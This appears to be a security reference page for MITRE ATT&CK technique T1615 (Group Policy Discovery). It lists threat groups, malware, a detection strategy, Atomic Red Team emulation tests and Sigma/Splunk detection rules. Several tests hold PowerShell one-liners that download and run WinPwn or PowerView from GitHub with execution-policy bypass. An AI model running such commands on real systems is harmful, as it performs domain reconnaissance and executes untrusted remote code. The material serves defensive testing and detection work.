T1615 · Group Policy Discovery · MITRE ATT&CK

Group Policy Discovery MITRE reference T1615

45th pctamong all ATT&CK techniques for number of groups

1 group has been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

TurlaG0010 ↗

Surveys a system upon check-in to discover Group Policy details using the gpresult command.1

created 2017-05-311 referenceaka IRON HUNTER

All 1 groups for this technique

5 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

DUSTTRAPS1159 ↗

Can identify victim environment Group Policy information.1

created 2024-09-16MALWAREcarried by 1 group

LunarWebS1141 ↗

Can capture information on group policy settings1

created 2024-06-26MALWAREcarried by 1 group

BloodHoundS0521 ↗

Has the ability to collect local admin information via GPO.1

created 2020-10-28TOOLcarried by 6 groups

EmpireS0363 ↗

Includes various modules for enumerating Group Policy.1

created 2019-03-11TOOLcarried by 17 groups

EmissaryS0082 ↗

Has the capability to execute gpresult.1

created 2017-05-31MALWAREcarried by 1 group

All 5 software entries for this technique

Offense vs defense T1615

Compare defenses against adversary use. Eight counts, ranking this technique against the entire ATT&CK Enterprise matrix. Attack sits left, defense right.

Range

Technique Campaign use over its cumulative rule count.

Campaigns · 1Sigma rules (cumulative) · 5Splunk ESCU (cumulative) · 1

Group Policy Discovery detection strategy DET0055

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection strategy for Group Policy Discovery on Windows

Enterprise

1 platform

AN0152 · Windows

Detection of adversary attempts to enumerate Group Policy settings through suspicious command execution (gpresult), PowerShell enumeration (Get-DomainGPO, Get-DomainGPOLocalGroup), and abnormal LDAP queries targeting groupPolicyContainer objects. Defenders observe unusual process lineage, script execution, or LDAP filter activity against domain controllers.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
Command ExecutionDC0064	WinEventLog:PowerShell	EventCode=4103, 4104, 4105, 4106
Active Directory Object AccessDC0071	WinEventLog:Security	EventCode=4661
Network Traffic ContentDC0085	NSM:Flow	query: High-volume LDAP traffic with filters targeting groupPolicyContainer attributes

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TimeWindow	Defines the correlation window to link suspicious PowerShell activity, gpresult execution, and LDAP enumeration.
UserContext	Identifies accounts expected to perform GPO enumeration (administrators vs. standard users).
CommandLinePatterns	Patterns for detecting suspicious gpresult or PowerShell cmdlets; tunable to reduce noise in environments where these tools are common.

Tests5Executorspowershell 4 · command_prompt 1Need elevation2 of 5Have prerequisites1Have cleanup1Platformswindows

# Test Platform Executor Elevation Prereqs Cleanup Ref

01 Display group policy information via gpresult windows command_prompt — — —

Uses the built-in Windows utility gpresult to display the Resultant Set of Policy (RSoP) information for a remote user and computer The /z parameter displays all available information about Group Policy. More parameters can be found in the linked Microsoft documentation https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/ Turla has used the /z and /v parameters: https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf

Attack Commandsrun with command_prompt

gpresult /z

GUID0976990f-53b1-4d3f-a185-6df5be429d3b

02 Get-DomainGPO to display group policy information via PowerView windows powershell Required — —

Use PowerView to Get-DomainGPO This will only work on Windows 10 Enterprise and A DC Windows 2019.

Attack Commandsrun with powershellelevation required (root or admin)

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://github.com/BC-SECURITY/Empire/blob/86921fbbf4945441e2f9d9e7712c5a6e96eed0f3/empire/server/data/module_source/situational_awareness/network/powerview.ps1'); Get-DomainGPO"

GUID4e524c4e-0e02-49aa-8df5-93f3f7959b9f

03 WinPwn - GPOAudit windows powershell — — —

Check domain Group policies for common misconfigurations using Grouper2 via GPOAudit function of WinPwn

Attack Commandsrun with powershell

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
GPOAudit -noninteractive -consoleoutput

GUIDbc25c04b-841e-4965-855f-d1f645d7ab73

04 WinPwn - GPORemoteAccessPolicy windows powershell — — —

Enumerate remote access policies through group policy using GPORemoteAccessPolicy function of WinPwn

Attack Commandsrun with powershell

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
GPORemoteAccessPolicy -consoleoutput -noninteractive

GUID7230d01a-0a72-4bd5-9d7f-c6d472bc6a59

05 MSFT Get-GPO Cmdlet windows powershell Required 2 Yes

The Get-GPO cmdlet gets one Group Policy Object (GPO) or all the GPOs in a domain. Tested on Windows Server 2019 as a domain user with computer joined to domain. Reference: https://docs.microsoft.com/en-us/powershell/module/grouppolicy/get-gpo?view=windowsserver2022-ps

Inputs

Name	Description	Type	Default Value
gpo_param	You can specify a GPO by its display name or by its globally unique identifier (GUID) to get a single GPO, or you can get all the GPOs in the domain through the All parameter	string	-All
gpo_output	The output of the Get-GPO cmdlet	string	$env:temp\GPO_Output.txt

Attack Commandsrun with powershellelevation required (root or admin)

Get-GPO -Domain $ENV:userdnsdomain #{gpo_param} >> #{gpo_output}

Cleanup Commands

del $env:temp\GPO_Output.txt -erroraction silentlycontinue

Dependenciesrun with powershell

Description

Add Rsat.ActiveDirectory.DS

Check Prereq Commands

if(Get-WindowsCapability -Online -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0 | Where-Object { $_.State -eq 'Installed' }){ exit 0 } else { exit 1 }

Get Prereq Commands

Add-WindowsCapability -online -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0

Description

Add Rsat.GroupPolicy.Management.Tools ###Two RSAT Modules needed for this to work on Win10, WinServer 2019 works by default. This will take a long time (almost 2 minutes) to install RSAT Manually###.

Check Prereq Commands

if(Get-WindowsCapability -Online -Name Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0 | Where-Object { $_.State -eq 'Installed' }){ exit 0 } else { exit 1 }

Get Prereq Commands

Add-WindowsCapability -online -Name Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0

GUID52778a8f-a10b-41a4-9eae-52ddb74072bf

Tests from Atomic Red Team (MIT licence) · technique definition

Group Policy Discovery detections T1615

6 rules are mapped to this technique.

67th pctamong all ATT&CK techniques for number of rules

Showing 1-6 of 6 rules

Drag headers to reorder | Drag edges to resize

Select	Description	Category	Status	Event	OS	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID
	Detects cases in which a user uses the built-in Windows utility gpresult to display the Resultant Se (...)	Generic	test	process_creation	windows	Sysmon · WinEventLog Security	Discovery Group Policy Discovery	-	medium	frack113	2022-05-01	—	e56d3073-83ff-4021-90fe-c658e0709e72
	Detects the use of SharpUp, a tool for local privilege escalation	Generic	test	process_creation	windows	Sysmon · WinEventLog Security	Discovery Group Policy Discovery Execution, Stealth Hijack Execution Flow Executable Installer File Permissions Weakness Execution System Services Service Execution	-	critical	Florian Roth (Nextron Systems)	2022-08-20	2023-02-13	c484e533-ee16-4a93-b6ac-f0ea4868b2f1
	Detects execution of the built-in script located in "C:\Windows\System32\gatherNetworkInfo.vbs". (...)	Generic	test	process_creation	windows	Sysmon · WinEventLog Security	Execution Command and Scripting Interpreter Visual Basic Discovery Group Policy Discovery	-	medium	blueteamer8699	2022-01-03	2023-02-08	575dce0c-8139-4e30-9295-1ee75969f7fe
	Detect use of Get-GPO to get one GPO or all the GPOs in a domain.	Generic	test	ps_script	windows	PowerShell	Discovery Group Policy Discovery	-	low	frack113	2022-06-04	—	eb2fd349-ec67-4caa-9143-d79c7fb34441
	Detects execution of the built-in script located in "C:\Windows\System32\gatherNetworkInfo.vbs". (...)	Generic	test	process_creation	windows	Sysmon · WinEventLog Security	Execution Command and Scripting Interpreter Visual Basic Discovery Group Policy Discovery	-	high	Nasreddine Bencherchali (Nextron Systems)	2023-02-08	—	07aa184a-870d-413d-893a-157f317f6f58
Splunk	Detects the execution of the WinPEAS PowerShell script via default function names used within the script. (...)	Generic	stable	ps_script	windows	PowerShell	Reconnaissance Gather Victim Host Information Software Client Configurations Reconnaissance Gather Victim Network Information Discovery Group Policy Discovery Discovery System Information Discovery Discovery System Network Configuration Discovery Discovery System Owner/User Discovery Discovery System Service Discovery	-	medium	Raven Tait, Splunk	2026-05-05	2026-05-13	5cb208df-e1aa-478d-ab2f-8270ff9999b9

Group Policy Discovery T1615

Group Policy Discovery T1615

Group Policy Discovery MITRE reference T1615

Offense vs defense T1615

Group Policy Discovery detection strategy DET0055

Detection strategy for Group Policy Discovery on Windows

Log sources

Tunable fields

Group Policy Discovery MITRE reference T1615

Offense vs defense T1615

Group Policy Discovery detection strategy DET0055

Detection strategy for Group Policy Discovery on Windows

Log sources

Tunable fields

Group Policy Discovery detections T1615

Group Policy Discovery detections T1615